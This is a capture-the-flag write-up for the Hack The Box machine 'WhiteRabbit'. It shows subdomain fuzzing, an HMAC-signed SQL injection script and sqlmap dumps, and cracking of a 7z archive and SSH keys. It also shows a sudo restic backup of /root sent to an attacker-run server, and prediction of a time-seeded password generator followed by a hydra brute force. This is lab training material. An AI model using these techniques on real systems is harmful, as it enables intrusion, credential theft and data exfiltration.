WhiteRabbit HTB Writeup: WikiJS, SQLi, and Restic

  1. The initial nmap scan discovers 3 opens ports:
Nmap scan report for 10.129.232.22
Host is up (0.084s latency).
Not shown: 4937 closed tcp ports (reset), 60 filtered tcp ports (no-response)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)
|_  256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)
80/tcp   open  http    Caddy httpd
|_http-title: Did not follow redirect to http://whiterabbit.htb
|_http-server-header: Caddy
2222/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)
|_  256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  1. The nmap scan shows us whiterabbit.htb as a host, we may add it to our hosts file:
$ sudo echo '10.129.232.22 whiterabbit.htb' >> /etc/hosts 
$ ffuf -w=subdomains-top1million-5000.txt -u http://whiterabbit.htb/ -H "Host:FUZZ.whiterabbit.htb" -fs 0

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://whiterabbit.htb/
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.whiterabbit.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 0
________________________________________________

status                  [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 85ms]
$ ffuf -w=raft-small-words.txt -u http://status.whiterabbit.htb/FUZZ  -fs 2444

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://status.whiterabbit.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 2444
________________________________________________

upload                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 83ms]
assets                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 80ms]
.                       [Status: 301, Size: 169, Words: 7, Lines: 11, Duration: 81ms]
Upload                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 81ms]
screenshots             [Status: 301, Size: 189, Words: 7, Lines: 11, Duration: 81ms]
UPLOAD                  [Status: 301, Size: 179, Words: 7, Lines: 11, Duration: 921ms]
metrics                 [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 80ms]
Screenshots             [Status: 301, Size: 189, Words: 7, Lines: 11, Duration: 83ms]
Metrics                 [Status: 401, Size: 0, Words: 1, Lines: 1, Duration: 82ms]
  1. However, if we try visiting the status page directly, we are only met with a blank response. At the same time, requesting another non-existent page (test in that case) returns a normal 404 error along with a message indicating that the page does not exist:
  1. This difference suggests that the status route does in fact exist, even though it does not display any visible content when accessed directly. With that in mind, we can focus our fuzzing on this path and eventually discover the temp subpage:
$ffuf -w=raft-small-words.txt -u http://status.whiterabbit.htb/status/FUZZ

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://status.whiterabbit.htb/status/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

temp                    [Status: 200, Size: 3359, Words: 304, Lines: 41, Duration: 154ms]
  1. By visiting this subpages, we discover that it is a test page containing references to several previously unknown subdomains.
gophish Whiterabbit Writeup page
  1. The first wiki page does contain a note about potential sensitive data exposure, suggesting that there may be useful information to revisit later. However, the GoPhish Webhooks section turns out to be far more valuable, as it provides detailed insight into how webhooks are implemented, including the workflow and the security mechanisms involved.
  1. It is relatively easy to understand what is going on on the picture, however here are key observations: The overall logic shown in the diagram is fairly easy to follow, but there are several important observations worth pointing out. The webhook is delivered through a POST request. If the required signature header is missing, the request is immediately rejected. If the header is present, the application extracts the signature, calculates its own value from the request, and compares the two. When the signature does not match, the request is dropped at that stage. If the signature is valid, the request is forwarded to the node responsible for obtaining the current phishing score. From there, the flow appears to split depending on the outcome. If an error occurs, the process stops and passes through a suspicious Debug node, which according to the documentation is expected to be removed later. Otherwise, the request continues normally. At that point, the logic checks whether the target user already exists, and depending on that result, the process either stops with an error or moves on to the update step based on the selected update method.
  1. The wiki even includes an example of a valid webhook request, which can be seen below. In addition to the request structure, the webhook example also reveals another subdomain 28efa8f7df.whiterabbit.htb (don’t forget to add it to hosts file) which used to send webhooks:
POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1
Host: 28efa8f7df.whiterabbit.htb
x-gophish-signature: sha256=cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 81

{
  "campaign_id": 1,
  "email": "test@ex.com",
  "message": "Clicked Link"
}
    {
      "parameters": {
        "action": "hmac",
        "type": "SHA256",
        "value": "={{ JSON.stringify($json.body) }}",
        "dataPropertyName": "calculated_signature",
        "secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
      },
      "id": "e406828a-0d97-44b8-8798-6d066c4a4159",
      "name": "Calculate the signature",
      "type": "n8n-nodes-base.crypto",
      "typeVersion": 1,
      "position": [
        860,
        340
      ]
    },
<SNIP>
    {
      "parameters": {
        "operation": "executeQuery",
        "query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1",
        "options": {}
      },
      "id": "5929bf85-d38b-4fdd-ae76-f0a61e2cef55",
      "name": "Get current phishing score",
      "type": "n8n-nodes-base.mySql",
      "typeVersion": 2.4,
      "position": [
white rabbit web hook send 1
  1. We receive the reply that user isn’t in database:
  1. The above request and response confirm that the webhook is active, accepts our requests, and returns a response. However, if we try to modify the request body or send this data, the application predictably responses with the error which informs us the signature isn’t valid:
import hmac
import hashlib
import json
import requests
import time

key = b'3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS'
url = "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d"

payloads = [
    '" AND (SELECT COUNT(*) FROM email) > 0 AND UNION SELECT 1, database()-- ',  # Basic SQL injection to count rows 
    '" AND UNION SELECT 1, database() AND (SELECT COUNT(*) FROM email) > 0 -- '
    '" OR EXISTS (SELECT * FROM users WHERE username = "admin") -- ',  # Check if admin exist
    '" AND (SELECT MIN(name) FROM information_schema.tables) = \'phishing\' -- ',  # Fix with single quotesn
    '" AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND()*2)) x FROM information_schema.tables GROUP BY x) y)-- ',

]


for email_payload in payloads:
    payload = {
        "campaign_id": 0,
        "email": email_payload,
        "message": "Clicked Link"
    }

    # Create compact JSON
    message = json.dumps(payload, separators=(',', ':')).encode('utf-8')

    # HMAC signature
    signature = hmac.new(key, message, hashlib.sha256).hexdigest()

    headers = {
        "Content-Type": "application/json",
        "x-gophish-signature": f"sha256={signature}"
    }

    print(f"[*] Sending payload: {email_payload}")
    try:
        start = time.time()
        response = requests.post(url, headers=headers, data=message, timeout=10)
        elapsed = time.time() - start

        print(f"[+] Status: {response.status_code} | Time: {elapsed:.2f}s")
        print(f"[+] Response: {response.text}\n")
    except Exception as e:
        print(f"[!] Error: {e}\n"
python send_hmac.py
[*] Sending payload: " AND (SELECT COUNT(*) FROM email) > 0 AND UNION SELECT 1, database()-- 
[+] Status: 200 | Time: 0.35s
[+] Response: You have an error in your SQL syntax on line 1 near 'UNION SELECT 1, database()-- " LIMIT 1' | {"level":"error","tags":{},"context":{"itemIndex":0},"functionality":"regular","name":"NodeOperationError","timestamp":1774452993296,"node":{"parameters":{"resource":"database","operation":"executeQuery","query":"SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1","options":{}},"id":"5929bf85-d38b-4fdd-ae76-f0a61e2cef55","name":"Get current phishing score","type":"n8n-nodes-base.mySql","typeVersion":2.4,"position":[1380,260],"alwaysOutputData":true,"retryOnFail":false,"executeOnce":false,"notesInFlow":false,"credentials":{"mySql":{"id":"qEqs6Hx9HRmSTg5v","name":"mariadb - phishing"}},"onError":"continueErrorOutput"},"messages":[],"obfuscate":false,"description":"sql: SELECT * FROM victims where email = \"\" AND (SELECT COUNT(*) FROM email) > 0 AND UNION SELECT 1, database()-- \" LIMIT 1, code: ER_PARSE_ERROR"}

[*] Sending payload: " AND UNION SELECT 1, database() AND (SELECT COUNT(*) FROM email) > 0 -- " OR EXISTS (SELECT * FROM users WHERE username = "admin") -- 
[+] Status: 200 | Time: 0.25s
[+] Response: You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near 'UNION SELECT 1, database() AND (SELECT COUNT(*) FROM email) > 0 -- " OR EXIST...' at line 1 | {"level":"error","tags":{},"context":{"itemIndex":0},"functionality":"regular","name":"NodeOperationError","timestamp":1774452993569,"node":{"parameters":{"resource":"database","operation":"executeQuery","query":"SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1","options":{}},"id":"5929bf85-d38b-4fdd-ae76-f0a61e2cef55","name":"Get current phishing score","type":"n8n-nodes-base.mySql","typeVersion":2.4,"position":[1380,260],"alwaysOutputData":true,"retryOnFail":false,"executeOnce":false,"notesInFlow":false,"credentials":{"mySql":{"id":"qEqs6Hx9HRmSTg5v","name":"mariadb - phishing"}},"onError":"continueErrorOutput"},"messages":[],"obfuscate":false,"description":"sql: SELECT * FROM victims where email = \"\" AND UNION SELECT 1, database() AND (SELECT COUNT(*) FROM email) > 0 -- \" OR EXISTS (SELECT * FROM users WHERE username = \"admin\") -- \" LIMIT 1, code: ER_PARSE_ERROR"}

[*] Sending payload: " AND (SELECT MIN(name) FROM information_schema.tables) = 'phishing' -- 
[+] Status: 200 | Time: 0.24s
[+] Response: Unknown column 'name' in 'field list' | {"level":"error","tags":{},"context":{"itemIndex":0},"functionality":"regular","name":"NodeOperationError","timestamp":1774452993792,"node":{"parameters":{"resource":"database","operation":"executeQuery","query":"SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1","options":{}},"id":"5929bf85-d38b-4fdd-ae76-f0a61e2cef55","name":"Get current phishing score","type":"n8n-nodes-base.mySql","typeVersion":2.4,"position":[1380,260],"alwaysOutputData":true,"retryOnFail":false,"executeOnce":false,"notesInFlow":false,"credentials":{"mySql":{"id":"qEqs6Hx9HRmSTg5v","name":"mariadb - phishing"}},"onError":"continueErrorOutput"},"messages":[],"obfuscate":false,"description":"sql: SELECT * FROM victims where email = \"\" AND (SELECT MIN(name) FROM information_schema.tables) = 'phishing' -- \" LIMIT 1, code: ER_BAD_FIELD_ERROR"}

[*] Sending payload: " AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND()*2)) x FROM information_schema.tables GROUP BY x) y)-- 
[+] Status: 200 | Time: 0.41s
[+] Response: Subquery returns more than 1 row | {"level":"error","tags":{},"context":{"itemIndex":0},"functionality":"regular","name":"NodeOperationError","timestamp":1774452994113,"node":{"parameters":{"resource":"database","operation":"executeQuery","query":"SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1","options":{}},"id":"5929bf85-d38b-4fdd-ae76-f0a61e2cef55","name":"Get current phishing score","type":"n8n-nodes-base.mySql","typeVersion":2.4,"position":[1380,260],"alwaysOutputData":true,"retryOnFail":false,"executeOnce":false,"notesInFlow":false,"credentials":{"mySql":{"id":"qEqs6Hx9HRmSTg5v","name":"mariadb - phishing"}},"onError":"continueErrorOutput"},"messages":[],"obfuscate":false,"description":"sql: SELECT * FROM victims where email = \"\" AND (SELECT 1 FROM (SELECT COUNT(*), CONCAT((SELECT database()), 0x3a, FLOOR(RAND()*2)) x FROM information_schema.tables GROUP BY x) y)-- \" LIMIT 1, code: ER_SUBQUERY_NO_1_ROW"}
$ git clone https://github.com/symphony2colour/WhiteRabbit-Proxy
<SNIP>
$ cd WhiteRabbit-Proxy

$ python proxy.py
INFO:root:Starting server on http://localhost:10000
sqlmap "http://localhost:10000/?query=test" -p query --dbms=MariaDB --technique=E --level 5 --risk 3 --batch

<SNIP>
 
GET parameter 'query' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 428 HTTP(s) requests:
---
Parameter: query (GET)
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: query=test" AND (SELECT 9733 FROM(SELECT COUNT(*),CONCAT(0x7162766271,(SELECT (ELT(9733=9733,1))),0x7162766271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VpkL
<SNIP>
  1. The regular enumeration nmap commands show the presence of several databases:
$ sqlmap 'http://127.0.0.1:10000/?query=test' -p query --current-user --current-db --is-dba --tables
<SNIP>
[20:07:26] [INFO] fetching database names
[20:07:26] [INFO] resumed: 'information_schema'
[20:07:26] [INFO] resumed: 'phishing'
[20:07:26] [INFO] resumed: 'temp'
<SNIP>
  1. We could enumerate all the available databases, but for the purposes of this writeup We will focus only on the temp database. The following sqlmap command can be used to dump its contents:
$sqlmap 'http://127.0.0.1:10000/?query=test' -p query -D temp --dump

+----+---------------------+------------------------------------------------------------------------------+
| id | date                | command                                                                      |
+----+---------------------+------------------------------------------------------------------------------+
| 1  | 2024-08-30 10:44:01 | uname -a                                                                     |
| 2  | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb                     |
| 3  | 2024-08-30 11:58:36 | echo ygcsvCu<PASSWORD_REDACTED>Amth7vxw > .restic_passwd                       |
| 4  | 2024-08-30 11:59:02 | rm -rf .bash_history                                                         |
| 5  | 2024-08-30 11:59:47 | #thatwasclose                                                                |
| 6  | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+
$ export RESTIC_PASSWORD='ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw'
$ restic -r rest:http://75951e6ff.whiterabbit.htb snapshots
repository 5b26a938 opened (repository version 2) successfully, password is correct
created new cache in /home/copper_nail/.cache/restic
ID        Time                 Host         Tags        Paths
------------------------------------------------------------------------
272cacd5  2025-03-07 04:18:40  whiterabbit              /dev/shm/bob/ssh
  1. We can see that the Restic repository definitely contains a backup with SSH-related data for the user bob. The data can be restored with the following command:
$restic -r rest:http://75951e6ff.whiterabbit.htb restore 272cacd5 --target ./restored_data
repository 5b26a938 opened (version 2, compression level auto)
found 1 old cache directories in /home/copper_nail/.cache/restic, run `restic cache --cleanup` to remove them
[0:00] 100.00%  5 / 5 index files loaded
restoring snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit to ./restored_data
Summary: Restored 5 files/dirs (572 B) in 0:00
$7z x bob.7z

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=en_US.UTF-8 Threads:6 OPEN_MAX:1024, ASM

Scanning the drive for archives:
1 file, 572 bytes (1 KiB)

Extracting archive: bob.7z
--
Path = bob.7z
Type = 7z
Physical Size = 572
Headers Size = 204
Method = LZMA2:12 7zAES
Solid = +
Blocks = 1

    
Enter password (will not be echoed):
$ ~/john/run/7z2john.pl bob.7z > bob7z.hash
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc74217<HASH_REDACTED>35898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00

$john -w=rockyou.txt bob7z.hash
<SNIP>
Will run 6 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1q<REDACTED>6y     (bob.7z)    
  1. With the recovered password, we can extract the archive:
$7z x bob.7z

7-Zip 25.01 (x64) : Copyright (c) 1999-2025 Igor Pavlov : 2025-08-03
 64-bit locale=en_US.UTF-8 Threads:6 OPEN_MAX:1024, ASM

<SNIP>
    
Enter password (will not be echoed):
Everything is Ok

Files: 3
Size:       557

$ls
bob  bob.7z  bob7z.hash  bob.pub  config

$cat bob
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4wAAAJAQ+wJXEPsC
VwAAAAtzc2gtZWQyNTUxOQAAAC<SSH_KEY_REDACTED>DnY8hBTEGnvNB0S2vaLhmHZC4w
AAAEBqLjKHrTqpjh/AqiRB07yEqcbH/uZA5qh8c0P72+kSNW8NNTJHAXhD4DaKbE4OdjyE
FMQae80HRLa9ouGYdkLjAAAACXJvb3RAbHVjeQECAwQ=
-----END OPENSSH PRIVATE KEY----

$cat config
Host whiterabbit
  HostName whiterabbit.htb
  Port 2222
  User bob
$ssh -i bob bob@whiterabbit.htb -p 2222
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-57-generic x86_64)
<SNIP>
bob@ebdce80611e9:~$ whoami
bob
bob@ebdce80611e9:~$ sudo -l
Matching Defaults entries for bob on ebdce80611e9:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User bob may run the following commands on ebdce80611e9:
    (ALL) NOPASSWD: /usr/bin/restic
$ mkdir -p /tmp/restic
$ rest-server --path /tmp/restic --no-auth --listen 10.10.14.236:8000
Data directory: /tmp/restic
Authentication disabled
Append only mode disabled
Private repositories disabled
Group accessible repos disabled
start server on 10.10.14.236:8000
  1. Initialize repo in another terminal of your attacking box:
$ $restic -r rest:http://10.10.14.236:8000/whiterabbit init
enter password for new repository: pentest123
enter password again: pentest123
created restic repository 10da4da6c9 at rest:http://10.10.14.236:8000/whiterabbit/

Please note that knowledge of your password is required to access
the repository. 
  1. We can now create a backup from the container. The following command will copy everything from the /root directory:
$ sudo restic backup -r "rest:http://10.10.14.236:8000/whiterabbit" /root
enter password for repository: 
repository 10da4da6 opened (version 2, compression level auto)
created new cache in /root/.cache/restic
no parent snapshot found, will read all files
[0:00]          0 index files loaded

Files:           4 new,     0 changed,     0 unmodified
Dirs:            3 new,     0 changed,     0 unmodified
Added to the repository: 6.493 KiB (3.601 KiB stored)

processed 4 files, 3.865 KiB in 0:01
snapshot ef8ea6fd saved
  1. We can restore the snapshot from our attacking box using the second terminal:
$ restic -r rest:http://10.10.14.236:8000/whiterabbit restore ef8ea6fd --target /tmp/restore
enter password for repository: pentest123
<SNIP>
Summary: Restored 8 files/dirs (3.865 KiB) in 0:00
  1. If we inspect the newly created /tmp/restore directory, we can find another pair of SSH keys belonging to the user morpheus:
$ ls /tmp/restore
morpheus  morpheus.pub
  1. Since cat /etc/passwd doesn’t show us the presence of this user inside of the container we can directly try it against the 22 port:
$ssh -i morpheus morpheus@whiterabbit.htb
<SNIP>
morpheus@whiterabbit:~$ whoami
morpheus
morpheus@whiterabbit:~$ cat user.txt
4ca4afa220<FLAG_REDACTED>188d71a924b
morpheus@whiterabbit:~$ 
morpheus@whiterabbit:/home/morpheus$ find /opt /srv /usr/local /home /var/www -type f -executable 2>/dev/null
/opt/neo-password-generator/neo-password-generator
/usr/local/sbin/laurel
  1. The next section will cover a dissasmbly process directly on the box with the usage of objdump, however if you feel not comfortable with it you may transfer the file to your machine and perform it with specialized tools like Ghindra. Anyway let’s dissassemble the main function:
morpheus@whiterabbit:/opt/neo-password-generator$ objdump -d -M intel --disassemble=main /opt/neo-password-generator/neo-password-generator

/opt/neo-password-generator/neo-password-generator:     file format elf64-x86-64

<SNIP>

0000000000001205 <main>:
    1205:	55                   	push   rbp
    1206:	48 89 e5             	mov    rbp,rsp
    1209:	48 83 ec 30          	sub    rsp,0x30
    120d:	64 48 8b 04 25 28 00 	mov    rax,QWORD PTR fs:0x28
    1214:	00 00 
    1216:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
    121a:	31 c0                	xor    eax,eax
    121c:	48 8d 45 e0          	lea    rax,[rbp-0x20]
    1220:	be 00 00 00 00       	mov    esi,0x0
    1225:	48 89 c7             	mov    rdi,rax
    1228:	e8 23 fe ff ff       	call   1050 <gettimeofday@plt>
    122d:	48 8b 45 e0          	mov    rax,QWORD PTR [rbp-0x20]
    1231:	48 69 f0 e8 03 00 00 	imul   rsi,rax,0x3e8
    1238:	48 8b 4d e8          	mov    rcx,QWORD PTR [rbp-0x18]
    123c:	48 ba cf f7 53 e3 a5 	movabs rdx,0x20c49ba5e353f7cf
    1243:	9b c4 20 
    1246:	48 89 c8             	mov    rax,rcx
    1249:	48 f7 ea             	imul   rdx
    124c:	48 c1 fa 07          	sar    rdx,0x7
    1250:	48 89 c8             	mov    rax,rcx
    1253:	48 c1 f8 3f          	sar    rax,0x3f
    1257:	48 29 c2             	sub    rdx,rax
    125a:	48 8d 04 16          	lea    rax,[rsi+rdx*1]
    125e:	48 89 45 d8          	mov    QWORD PTR [rbp-0x28],rax
    1262:	48 8b 45 d8          	mov    rax,QWORD PTR [rbp-0x28]
    1266:	48 89 c7             	mov    rdi,rax
    1269:	e8 0b ff ff ff       	call   1179 <generate_password>
    126e:	b8 00 00 00 00       	mov    eax,0x0
    1273:	48 8b 55 f8          	mov    rdx,QWORD PTR [rbp-0x8]
    1277:	64 48 2b 14 25 28 00 	sub    rdx,QWORD PTR fs:0x28
    127e:	00 00 
    1280:	74 05                	je     1287 <main+0x82>
    1282:	e8 b9 fd ff ff       	call   1040 <__stack_chk_fail@plt>
    1287:	c9                   	leave
    1288:	c3                   	ret

Disassembly of section .fini:
  1. We can surely say that file is certainly being used for the password generation process, additionally we can notice the gettimeoftheday function being used, which is actually very interesting, anyway let’s check generate_password first:
morpheus@whiterabbit:/opt/neo-password-generator$ objdump -d -M intel --disassemble=generate_password /opt/neo-password-generator/neo-password-generator

/opt/neo-password-generator/neo-password-generator:     file format elf64-x86-64

<SNIP>

0000000000001179 <generate_password>:
    1179:	55                   	push   rbp
    117a:	48 89 e5             	mov    rbp,rsp
    117d:	48 83 ec 40          	sub    rsp,0x40
    1181:	48 89 7d c8          	mov    QWORD PTR [rbp-0x38],rdi
    1185:	64 48 8b 04 25 28 00 	mov    rax,QWORD PTR fs:0x28
    118c:	00 00 
    118e:	48 89 45 f8          	mov    QWORD PTR [rbp-0x8],rax
    1192:	31 c0                	xor    eax,eax
    1194:	c7 45 d8 3e 00 00 00 	mov    DWORD PTR [rbp-0x28],0x3e
    119b:	48 8b 45 c8          	mov    rax,QWORD PTR [rbp-0x38]
    119f:	89 c7                	mov    edi,eax
    11a1:	e8 ba fe ff ff       	call   1060 <srand@plt>
    11a6:	c7 45 d4 00 00 00 00 	mov    DWORD PTR [rbp-0x2c],0x0
    11ad:	eb 29                	jmp    11d8 <generate_password+0x5f>
    11af:	e8 bc fe ff ff       	call   1070 <rand@plt>
    11b4:	99                   	cdq
    11b5:	f7 7d d8             	idiv   DWORD PTR [rbp-0x28]
    11b8:	89 55 dc             	mov    DWORD PTR [rbp-0x24],edx
    11bb:	8b 45 dc             	mov    eax,DWORD PTR [rbp-0x24]
    11be:	48 98                	cdqe
    11c0:	48 8d 15 41 0e 00 00 	lea    rdx,[rip+0xe41]        # 2008 <_IO_stdin_used+0x8>
    11c7:	0f b6 14 10          	movzx  edx,BYTE PTR [rax+rdx*1]
    11cb:	8b 45 d4             	mov    eax,DWORD PTR [rbp-0x2c]
    11ce:	48 98                	cdqe
    11d0:	88 54 05 e0          	mov    BYTE PTR [rbp+rax*1-0x20],dl
    11d4:	83 45 d4 01          	add    DWORD PTR [rbp-0x2c],0x1
    11d8:	83 7d d4 13          	cmp    DWORD PTR [rbp-0x2c],0x13
    11dc:	7e d1                	jle    11af <generate_password+0x36>
    11de:	c6 45 f4 00          	mov    BYTE PTR [rbp-0xc],0x0
    11e2:	48 8d 45 e0          	lea    rax,[rbp-0x20]
    11e6:	48 89 c7             	mov    rdi,rax
    11e9:	e8 42 fe ff ff       	call   1030 <puts@plt>
    11ee:	90                   	nop
    11ef:	48 8b 45 f8          	mov    rax,QWORD PTR [rbp-0x8]
    11f3:	64 48 2b 04 25 28 00 	sub    rax,QWORD PTR fs:0x28
    11fa:	00 00 
    11fc:	74 05                	je     1203 <generate_password+0x8a>
    11fe:	e8 3d fe ff ff       	call   1040 <__stack_chk_fail@plt>
    1203:	c9                   	leave
    1204:	c3                   	ret
  1. The both assemblies shows that the program generates the password entirely from the current time. In main, it first calls gettimeofday to obtain the current timestamp, then multiplies the seconds value by 1000 and combines it with a millisecond component derived from the microseconds field, producing a seed based on the current time in milliseconds. This seed is passed directly into generate_password. Inside that function, the value 0x3e is loaded, which corresponds to 62 and therefore indicates the length of the character set. The program then calls srand with the time-based seed and enters a loop where it repeatedly calls rand, reduces each result modulo 62, and uses the result as an index into a character table stored at address 0x2008 in .rodata. Each selected character is placed into a local buffer, and the loop continues until 20 characters have been generated. Finally, the buffer is null-terminated and printed with puts. In practice, this means the password is just a 20-character string produced from srand(current_time_in_milliseconds) with a fixed 62-character alphabet, making the generator predictable once the character table and approximate execution time are known. We also need it to determine the character set being used for the password generator:
morpheus@whiterabbit:/opt/neo-password-generator$ objdump -s -j .rodata /opt/neo-password-generator/neo-password-generator

/opt/neo-password-generator/neo-password-generator:     file format elf64-x86-64

Contents of section .rodata:
 2000 01000200 00000000 61626364 65666768  ........abcdefgh
 2010 696a6b6c 6d6e6f70 71727374 75767778  ijklmnopqrstuvwx
 2020 797a4142 43444546 4748494a 4b4c4d4e  yzABCDEFGHIJKLMN
 2030 4f505152 53545556 5758595a 30313233  OPQRSTUVWXYZ0123
 2040 34353637 383900                      456789. 
#include <stdio.h>
#include <stdlib.h>

const char *charset = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789";

void generate_password(unsigned long long seed) {
    srand((unsigned int)seed);
    char password[21] = {0};
    for (int i = 0; i < 20; i++) {
        int r = rand() % 62;
        password[i] = charset[r];
    }
    printf("%s\n", password);
}

int main() {
    unsigned long long base_seed = 1725028842ULL * 1000ULL;
    for (unsigned long long i = 0; i < 1000; i++) {
        generate_password(base_seed + i);
    }
    return 0;
}
$ git clone https://github.com/symphony2colour/WhiteRabbit-Password-Generator
Cloning into 'WhiteRabbit-Password-Generator'...
$ cd WhiteRabbit-Password-Generator
$ ls
pass_gen.c  README.md
  1. Next we need to compile the binary from the .c file, we will be using gcc for this task:
$gcc -o password_gen pass_gen.c
  1. Launch the generator and redirect output to a file:
$ ./password_gen > passwords
$ cat passwords
<SNIP>
oVnvREFzCzle8S1udqRN
UM5JOJYrng07ula0cqC1
OQ6Q4mrXVUctNoI1cr3j
eiYKPu2mFAQNbgiJE1Bw
9GBcQ8yHQTVpBL5qGq2I
vdqctJN4Pc22XsDTf8mX
XHzWWbSDT80PFKmWtf8E
S1A5wJGXpil9nznqXR0M
cRSPdQrhMu3CJdbXQQ15
zeu17YXoyJBoF3Zmj7B6
<SNIP>
$hydra -l neo -P passwords ssh://whiterabbit.htb:22
